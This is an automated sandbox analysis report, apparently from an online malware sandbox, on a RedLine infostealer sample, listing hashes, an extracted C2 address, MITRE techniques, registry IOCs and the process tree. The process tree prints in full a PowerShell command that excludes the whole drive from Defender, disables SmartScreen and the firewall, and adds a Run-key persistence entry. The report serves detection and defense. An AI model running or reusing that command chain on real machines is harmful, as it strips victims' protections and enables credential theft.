redline | e42c63f0af341c2271346774a69bdbceed9cc21f041680bc00e8e0d137340b48

Analysis

max time kernel
152s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20220722-en
resource tags

arch:x64arch:x86image:win10v2004-20220722-enlocale:en-usos:windows10-2004-x64system
submitted
04-08-2022 11:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e4.exe
Size

4.5MB
MD5

5c371f2d51427f39d793c6df8487346c
SHA1

8bbc4272d6e36abf84a0d4fac47d49b690bfacdf
SHA256

e42c63f0af341c2271346774a69bdbceed9cc21f041680bc00e8e0d137340b48
SHA512

2f0d208bb52a44a085a9aa32169ba75ae3b5de2a552b2196532e59527eb7a0deb16fd87cc7363d7ec82627fdaba4ecf227bf2dd6da6331202a976a07c723ca34

Score

10^/10

redline 1488 discovery evasion infostealer persistence spyware stealer themida trojan

Malware Config

Extracted

Family

redline

Botnet

1488

46.21.250.111:65367

Attributes

auth_value
e1f55d6c61f97af563fc8c06a2c97666

Signatures

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

powershell.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mpssvc\Start = "4" powershell.exe
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mpssvc\Start = "4"	powershell.exe

RedLine payload 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3376-136-0x00000000007D0000-0x00000000012A2000-memory.dmp	family_redline
behavioral2/memory/3376-137-0x00000000007D0000-0x00000000012A2000-memory.dmp	family_redline
behavioral2/memory/3376-157-0x00000000007D0000-0x00000000012A2000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

svchost.exe

description pid process target process

PID 3440 created 3704 3440 svchost.exe UpSys.exe
PID 3440 created 2300 3440 svchost.exe UpSys.exe

description	pid	process	target process
PID 3440 created 3704	3440	svchost.exe	UpSys.exe
PID 3440 created 2300	3440	svchost.exe	UpSys.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

e4.exeTextOutputHost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	e4.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TextOutputHost.exe

Downloads MZ/PE file
Executes dropped EXE 4 IoCs

Processes:

TextOutputHost.exeUpSys.exeUpSys.exeUpSys.exe

pid process

4580 TextOutputHost.exe
3704 UpSys.exe
2300 UpSys.exe
3956 UpSys.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

1512 netsh.exe

pid	process
4580	TextOutputHost.exe
3704	UpSys.exe
2300	UpSys.exe
3956	UpSys.exe

pid	process
1512	netsh.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

e4.exeTextOutputHost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	e4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	e4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TextOutputHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TextOutputHost.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

e4.exeTextOutputHost.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3463845317-933582289-45817732-1000\Control Panel\International\Geo\Nation	e4.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3463845317-933582289-45817732-1000\Control Panel\International\Geo\Nation	TextOutputHost.exe

Drops startup file 1 IoCs

Processes:

TextOutputHost.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk TextOutputHost.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk	TextOutputHost.exe

Themida packer 11 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral2/memory/3376-136-0x00000000007D0000-0x00000000012A2000-memory.dmp	themida
behavioral2/memory/3376-137-0x00000000007D0000-0x00000000012A2000-memory.dmp	themida
C:\Users\Admin\AppData\Local\Temp\TextOutputHost.exe	themida
C:\Users\Admin\AppData\Local\Temp\TextOutputHost.exe	themida
behavioral2/memory/4580-155-0x00007FF6F60D0000-0x00007FF6F6A28000-memory.dmp	themida
behavioral2/memory/4580-156-0x00007FF6F60D0000-0x00007FF6F6A28000-memory.dmp	themida
behavioral2/memory/3376-157-0x00000000007D0000-0x00000000012A2000-memory.dmp	themida
behavioral2/memory/4580-158-0x00007FF6F60D0000-0x00007FF6F6A28000-memory.dmp	themida
behavioral2/memory/4580-160-0x00007FF6F60D0000-0x00007FF6F6A28000-memory.dmp	themida
C:\ProgramData\MicrosoftNetwork\System.exe	themida
behavioral2/memory/4580-179-0x00007FF6F60D0000-0x00007FF6F6A28000-memory.dmp	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinNet = "C:\\ProgramData\\MicrosoftNetwork\\System.exe"	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

e4.exeTextOutputHost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	e4.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	TextOutputHost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

e4.exeTextOutputHost.exe

pid process

3376 e4.exe
4580 TextOutputHost.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 51 IoCs

Processes:

UpSys.exepowershell.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	UpSys.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	UpSys.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

e4.exepowershell.exeTextOutputHost.exeUpSys.exeUpSys.exepowershell.exe

pid	process
3376	e4.exe
4640	powershell.exe
4640	powershell.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
3704	UpSys.exe
3704	UpSys.exe
3704	UpSys.exe
3704	UpSys.exe
2300	UpSys.exe
2300	UpSys.exe
2300	UpSys.exe
2300	UpSys.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4564	powershell.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4564	powershell.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe
4580	TextOutputHost.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

Processes:

e4.exepowershell.exeUpSys.exesvchost.exeUpSys.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3376	e4.exe
Token: SeDebugPrivilege	4640	powershell.exe
Token: SeDebugPrivilege	3704	UpSys.exe
Token: SeAssignPrimaryTokenPrivilege	3704	UpSys.exe
Token: SeIncreaseQuotaPrivilege	3704	UpSys.exe
Token: 0	3704	UpSys.exe
Token: SeTcbPrivilege	3440	svchost.exe
Token: SeTcbPrivilege	3440	svchost.exe
Token: SeDebugPrivilege	2300	UpSys.exe
Token: SeAssignPrimaryTokenPrivilege	2300	UpSys.exe
Token: SeIncreaseQuotaPrivilege	2300	UpSys.exe
Token: SeBackupPrivilege	4640	powershell.exe
Token: SeBackupPrivilege	4640	powershell.exe
Token: SeRestorePrivilege	4640	powershell.exe
Token: SeSecurityPrivilege	4640	powershell.exe
Token: SeDebugPrivilege	4564	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

e4.exeTextOutputHost.exepowershell.exesvchost.exeUpSys.exe

description	pid	process	target process
PID 3376 wrote to memory of 4580	3376	e4.exe	TextOutputHost.exe
PID 3376 wrote to memory of 4580	3376	e4.exe	TextOutputHost.exe
PID 4580 wrote to memory of 4640	4580	TextOutputHost.exe	powershell.exe
PID 4580 wrote to memory of 4640	4580	TextOutputHost.exe	powershell.exe
PID 4640 wrote to memory of 3704	4640	powershell.exe	UpSys.exe
PID 4640 wrote to memory of 3704	4640	powershell.exe	UpSys.exe
PID 4640 wrote to memory of 1512	4640	powershell.exe	netsh.exe
PID 4640 wrote to memory of 1512	4640	powershell.exe	netsh.exe
PID 3440 wrote to memory of 2300	3440	svchost.exe	UpSys.exe
PID 3440 wrote to memory of 2300	3440	svchost.exe	UpSys.exe
PID 3440 wrote to memory of 3956	3440	svchost.exe	UpSys.exe
PID 3440 wrote to memory of 3956	3440	svchost.exe	UpSys.exe
PID 3956 wrote to memory of 4564	3956	UpSys.exe	powershell.exe
PID 3956 wrote to memory of 4564	3956	UpSys.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\e4.exe
"C:\Users\Admin\AppData\Local\Temp\e4.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3376

C:\Users\Admin\AppData\Local\Temp\TextOutputHost.exe
"C:\Users\Admin\AppData\Local\Temp\TextOutputHost.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Drops startup file
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4580

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty –Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run –Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
3⤵
- Modifies security service
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4640

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3704

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2300

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
6⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:3956

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
7⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4564

C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
4⤵
- Modifies Windows Firewall
PID:1512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3440

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\MicrosoftNetwork\System.exe

Filesize
3.4MB

MD5
55a6d22be09d762103ae315f97b58561

SHA1
f218c5bb6b7e3cbe9483f8bc4552edb180fd2bd1

SHA256
41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a

SHA512
4b8967e85ebca846bda3910dac537b360fd36163eb778b6f3c522273d9ac0ae2821536c50a40eb3b56938396166ab83d75e7999dc32fe8807d734a479bdce820

Download Submit
C:\ProgramData\UpSys.exe

Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe

Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe

Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe

Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\Users\Admin\AppData\Local\Temp\TextOutputHost.exe

Filesize
3.4MB

MD5
55a6d22be09d762103ae315f97b58561

SHA1
f218c5bb6b7e3cbe9483f8bc4552edb180fd2bd1

SHA256
41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a

SHA512
4b8967e85ebca846bda3910dac537b360fd36163eb778b6f3c522273d9ac0ae2821536c50a40eb3b56938396166ab83d75e7999dc32fe8807d734a479bdce820

Download Submit
C:\Users\Admin\AppData\Local\Temp\TextOutputHost.exe

Filesize
3.4MB

MD5
55a6d22be09d762103ae315f97b58561

SHA1
f218c5bb6b7e3cbe9483f8bc4552edb180fd2bd1

SHA256
41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a

SHA512
4b8967e85ebca846bda3910dac537b360fd36163eb778b6f3c522273d9ac0ae2821536c50a40eb3b56938396166ab83d75e7999dc32fe8807d734a479bdce820

Download Submit
memory/1512-168-0x0000000000000000-mapping.dmp

Download
memory/2300-169-0x0000000000000000-mapping.dmp

Download
memory/3376-146-0x0000000006340000-0x00000000063B6000-memory.dmp

Filesize
472KB

Download
memory/3376-142-0x00000000007D0000-0x00000000012A2000-memory.dmp

Filesize
10.8MB

Download
memory/3376-145-0x00000000069F0000-0x0000000006A82000-memory.dmp

Filesize
584KB

Download
memory/3376-132-0x00000000007D0000-0x00000000012A2000-memory.dmp

Filesize
10.8MB

Download
memory/3376-147-0x0000000006C20000-0x0000000006C3E000-memory.dmp

Filesize
120KB

Download
memory/3376-148-0x0000000006E90000-0x0000000006EF6000-memory.dmp

Filesize
408KB

Download
memory/3376-149-0x0000000009320000-0x0000000009370000-memory.dmp

Filesize
320KB

Download
memory/3376-150-0x0000000008C80000-0x0000000008E42000-memory.dmp

Filesize
1.8MB

Download
memory/3376-151-0x00000000098C0000-0x0000000009DEC000-memory.dmp

Filesize
5.2MB

Download
memory/3376-135-0x00000000775B0000-0x0000000077753000-memory.dmp

Filesize
1.6MB

Download
memory/3376-143-0x00000000775B0000-0x0000000077753000-memory.dmp

Filesize
1.6MB

Download
memory/3376-141-0x0000000005ED0000-0x0000000005F0C000-memory.dmp

Filesize
240KB

Download
memory/3376-136-0x00000000007D0000-0x00000000012A2000-memory.dmp

Filesize
10.8MB

Download
memory/3376-144-0x0000000006FA0000-0x0000000007544000-memory.dmp

Filesize
5.6MB

Download
memory/3376-157-0x00000000007D0000-0x00000000012A2000-memory.dmp

Filesize
10.8MB

Download
memory/3376-137-0x00000000007D0000-0x00000000012A2000-memory.dmp

Filesize
10.8MB

Download
memory/3376-159-0x00000000775B0000-0x0000000077753000-memory.dmp

Filesize
1.6MB

Download
memory/3376-138-0x00000000063D0000-0x00000000069E8000-memory.dmp

Filesize
6.1MB

Download
memory/3376-139-0x0000000005E70000-0x0000000005E82000-memory.dmp

Filesize
72KB

Download
memory/3376-140-0x0000000005FA0000-0x00000000060AA000-memory.dmp

Filesize
1.0MB

Download
memory/3704-166-0x0000000000000000-mapping.dmp

Download
memory/3956-171-0x0000000000000000-mapping.dmp

Download
memory/4564-174-0x0000000000000000-mapping.dmp

Download
memory/4564-181-0x00007FFC6AC10000-0x00007FFC6B6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4564-178-0x000001ABDC130000-0x000001ABDC1A6000-memory.dmp

Filesize
472KB

Download
memory/4564-177-0x000001ABDC060000-0x000001ABDC0A4000-memory.dmp

Filesize
272KB

Download
memory/4564-176-0x00007FFC6AC10000-0x00007FFC6B6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4580-160-0x00007FF6F60D0000-0x00007FF6F6A28000-memory.dmp

Filesize
9.3MB

Download
memory/4580-156-0x00007FF6F60D0000-0x00007FF6F6A28000-memory.dmp

Filesize
9.3MB

Download
memory/4580-155-0x00007FF6F60D0000-0x00007FF6F6A28000-memory.dmp

Filesize
9.3MB

Download
memory/4580-152-0x0000000000000000-mapping.dmp

Download
memory/4580-158-0x00007FF6F60D0000-0x00007FF6F6A28000-memory.dmp

Filesize
9.3MB

Download
memory/4580-161-0x00007FFC8A170000-0x00007FFC8A365000-memory.dmp

Filesize
2.0MB

Download
memory/4580-179-0x00007FF6F60D0000-0x00007FF6F6A28000-memory.dmp

Filesize
9.3MB

Download
memory/4580-180-0x00007FFC8A170000-0x00007FFC8A365000-memory.dmp

Filesize
2.0MB

Download
memory/4640-175-0x00007FFC6AC10000-0x00007FFC6B6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4640-164-0x00007FFC6AC10000-0x00007FFC6B6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4640-162-0x0000000000000000-mapping.dmp

Download
memory/4640-163-0x000001F3F7EA0000-0x000001F3F7EC2000-memory.dmp

Filesize
136KB

Download